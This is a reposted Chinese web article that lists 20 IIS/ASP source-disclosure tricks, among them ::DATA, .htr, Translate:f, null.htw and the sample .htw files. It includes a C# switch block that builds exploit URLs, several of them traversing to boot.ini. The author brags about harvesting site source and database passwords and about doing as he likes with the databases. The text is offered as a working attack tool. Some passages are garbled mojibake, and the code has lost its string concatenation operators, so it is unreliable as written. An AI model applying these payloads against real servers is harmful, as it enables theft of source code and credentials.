20种看asp源码的方法及工具

2008-02-23 09:40:00来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

众所周知windows平台漏洞百出,补丁一个接一个,但总是补也补不净。我把我所知道的20种看asp源码的方法总结了一下,并且用c#写了个应用程序来扫描这些漏洞,发现虽然大部分的方法已经不起做用,但还是有一些漏网之鱼的:),结果这两天真看到不少站的源代码,包括数据库密码,如果用access的可以把库下载下来,而用sql server的如果不是用udl,dsn等来连接的话,也可以通过tcp/ip网络库连接到数据库,为所欲为呀。先面把这20种方法列在下面:

.
?
::DATA
.
.Asp
.htr
\\
longhtr
.bak
codebrws.asp
showcode.asp
null.htw
qfullhit.htw
qsumrhit.htw
query.idq
search/qfullhit.htw
search/qsumrhit.htw
iirturnh.htw
.htw
Translate:f


上边这些漏洞前面10几条是通过在asp文件后直接加上,如伨褪莤xx.asp仯?竺嬲庑┒际峭ü齣is自带的例子或系统漏洞实现的,最特别的是那种translate:f方法,它直接通过浏览器是无法使用的,必须同服务器建立tcp/ip的socket连接,发送请求才行,具体每个漏洞如何使用,看下面,这是我那个应用程序的一部分,如果你要全部的可以到我的站点去下载。

switch (this.cboMethod.SelectedIndex)
{
case 0: //直接读取
strRequestFile = strServer strUrl ;
break ;
case 5 : //.Asp
strRequestFile = strServer strPath strFirst
".Asp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer strUrl
" %"
"20 %"
"20 "
" "
" "
" "
" "
" "
" "
" "
" "
" "
" "
" .htr" ;
break ;

case 10: //codebrws.asp
strRequestFile = strServer "/iissamples/exair/howitworks/codebrws.asp?source="
strUrl ;
break ;

case 11: //showcode.asp
strRequestFile = strServer "/iissamples/exair/howitworks/codebrws.asp?source="
"/msadc/../../../../boot.ini" ;
break;

case 12 : //null.htw
strRequestFile = strServer "/null.htw?CiWebHitsFile="
strUrl " &CiRestriction=none&CiHiliteType=Full" ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer "/iissamples/issamples/oop/qfullhit.htw?"
"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
"&CiHiliteType=Full";
break ;

case 14 : //qsumrhit.htw
strRequestFile = strServer "/iissamples/issamples/oop/qsumrhit.htw?"
"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
"&CiHiliteType=Full";
break ;

case 15 : //query.idq
strRequestFile = strServer "/query.idq?CiTemplate=/../../boot.ini"
" "
" %"
"20 "
" "
" "
" "
" "
" "
" "
" "
" "
" "
" "
" .htx";
break ;

case 16: //search/qfullhit.htw
strRequestFile = strServer "/iissamples/exair/search/qfullhit.htw?"
"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
"&CiHiliteType=Full";
break ;

case 17: // search/qsumrhit.htw
strRequestFile = strServer "/iissamples/exair/search/qsumrhit.htw?"
"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
"&CiHiliteType=Full";
break ;

case 18: //iirturnh.htw
strRequestFile = strServer "/iishelp/iis/misc/iirturnh.htw?"
"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
"&CiHiliteType=Full";
break ;

case 19: //.htw
strRequestFile = strServer strUrl
" "
" %"
"20 "
" "
" "
" "
" "
" "
" "
" "
" "
" "
" "
" "
" .htw?"
"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
"&CiHiliteType=Full" ;
break ;

default:
strRequestFile = strServer strUrl this.cboMethod.Text ;
}

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:教你一次下载网页中的所有资源(ASP)

下一篇:包含其他文件,ASP中InClude的介绍